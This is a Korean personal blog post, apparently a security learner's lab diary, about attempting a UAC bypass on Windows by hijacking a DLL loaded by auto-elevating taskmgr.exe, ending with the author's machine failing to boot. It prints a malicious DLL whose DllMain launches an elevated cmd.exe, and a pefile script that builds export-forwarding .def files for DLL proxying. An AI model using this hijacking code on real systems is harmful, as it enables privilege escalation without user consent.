본문 바로가기

System/TTPs

UAC bypass 실습하다가 컴날림

Abuse Elevation Control Mechanism

- UAC bypass -

 

참고로 해당 실습은 3개월 전에 진행한 것이다.


업데이트 확인 작업 시.. 존재하지 않는 DLL인 WindowsCoreDeviceInfo.dll을 로드하려함.

내가 해야하는 것

  1. 일반 프로세스를 시스템권한까지 올림.
    • 이를 위해 시스템 권한을 가진 프로세스로의 인젝션 또는 하이재킹이 필요하다.
    • 단, UAV없이 바로 시스템권한으로의 상승이 필요하다.
  2. 시스템권한을 가진 프로세스로 하이재킹한 후.. shellExcuteEx() 함수를 통해 시스템권한을 가진 자식프로세스를 생성.
    • 여기서 자식프로세스의 역할은 일반 권한의 프로세스를 선택해서 setPrivilege같은 함수 통해 일반권한 프로세스 시스템 권한으로 상승시키기.

그럼 당장

  • taskmgr.exe 하이재킹할 것:

왜냐면 UAC 알림이 뜨지 않음에도 Integrity Level이 High이기 때문임. 이게.. AutoElevation이라는 기능임. 사용자에게 허가 받지 않고도 UAC 권한 자동 획득하는 것. autoElevate가 true

  • 일반권한의 프로세스: calc.exe

 

1. procmon에서 누락된 dll파일 찾기

2. propsys.dll 원본 찾기

3. 내 evil.cpp과 합쳐서 evil.dll만들 것

```cpp
#include <windows.h>
#include <stdio.h>

void shellexcuteex_levelup(LPCTSTR lpFile) {
    BOOL bShellExecute = FALSE;
    SHELLEXECUTEINFO stShellInfo = { sizeof(SHELLEXECUTEINFO) }; // 구조체 초기화

    stShellInfo.lpVerb = TEXT("runas");    // 관리자 권한 실행
    stShellInfo.lpFile = TEXT(lpFile);     // 권리자 권한으로 실행시킬 파일
    stShellInfo.nShow = SW_SHOWNORMAL;     // 실행될 프로세스의 윈도우 보여주기

    bShellExecute = ShellExecuteEx(&stShellInfo);

    if (!bShellExecute)
    {
        printf("shellexcute false... \n");
    }
    return;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
){
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:{
        shellexcuteex_levelup("cmd.exe");
        MessageBox(
            NULL,
            "YOU JUST ACTIVATED MY TRAP CARD",
            "X_X",
            MB_OK
        );
    }
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
  • 이전에 실습 시 작성해두었던 파이썬 스크립트 이용해서 정상 dll을 def파일로
import pefile
import sys
import os.path

dll = pefile.PE(sys.argv[1])
dll_basename = os.path.splitext(sys.argv[1])[0]

try:
    with open(sys.argv[1].split("/")[-1].replace(".dll", ".def"), "w") as f:
        f.write("EXPORTS\n")
        for export in dll.DIRECTORY_ENTRY_EXPORT.symbols:
            if export.name:
                f.write('{}={}.{} @{}\n'.format(export.name.decode(), dll_basename, export.name.decode(), export.ordinal))
except:
    print ("ANG? faild.")
else:
    print ("hihihihi. success!")

 

 

4. system32\ime\imekr 폴더 내에 dll파일 옮긴 후 이름변경 → propsys.dll

 

5. taskmgr.exe 실행시켜보고 messageBox 확인

여기서 안뜸.

왜일까? 확인 해 보았다.

 

난외 행복할수업서

 

그래도 어떻게 잘 넣었다. 이름바꾸기가 문제였다. 그냥.. 다른 폴더에서 이름바꿔와서 복붙하니 해결

 

하지맍..

 

 

컴퓨터가 거부하고 있다.

 

그리고 컴퓨터가 터졌다.

ㅅㅂㅋㅋ안켜짐 실화인가?

이래서 느려터져도 vmware 쓰는구나

 

 

'System > TTPs' 카테고리의 다른 글

2. DLL Hijacking  (0) 2023.03.29
1. Process Hollowing이란?  (0) 2023.03.29
AV 엔진 우회 2  (0) 2022.06.11
VM 엔진 우회 실습 1  (0) 2022.04.28
AV 엔진 우회 실습 1  (0) 2022.04.26